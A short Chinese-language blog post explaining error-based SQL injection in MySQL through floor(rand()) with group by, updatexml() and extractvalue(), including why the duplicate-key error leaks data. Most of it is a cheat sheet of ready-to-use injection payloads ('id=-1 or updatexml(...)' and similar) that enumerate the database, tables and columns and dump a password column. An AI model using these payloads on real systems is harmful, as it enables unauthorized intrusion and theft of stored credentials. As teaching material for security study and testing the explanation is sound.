sql注入 报错注入常用的三种函数

1.floor()函数

报错原因是

报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键

前面说过floor(rand(0)*2) 前六位是0110110

group by x先建立一个空表,用于分组.然后进行分组查询,第一次rand()执行,查询的结果是0,因为是空表所以插入这条,而插入的时候rand()又执行了一次,所以表中的结果就是

第一次执行完,接着执行rand()的值为1,因为表中存在,所以加1,表中结果成为

到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了

此时插入因为重复出现同一个key,就会出现报错 重复出现key.而报错中会说明那个key有问题,我们的key中结合了想要了解的字符串root@localhost

这样就实现了报错注入,拿到了自己想要的数据

这就是整个报错注入的原理了,rand(),floor() group by 函数缺一不可.

常用语句

union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

2.updatexml()函数

 

UPDATEXML (XML_document, XPath_string, new_value);

 

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

常用语句

爆库

id=-1or updatexml(1,concat(0x7e,(select database())),1)

爆表
id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

爆字段
id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')),1)

爆内容

id=-1 or updatexml(1,concat(0x7e,(select group_concat(password) from sqli)),1)

3.extractvalue()函数

报错原因与updatexml()函数类似,都是读取路径报错

爆库

id=-1 or extractvalue(1,concat(0x7e,(select database())))

爆表
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))

爆字段
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')))

爆内容

id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from sqli)))

 

posted @ 2020-09-07 17:36  LY2333  阅读(3213)  评论(0编辑  收藏  举报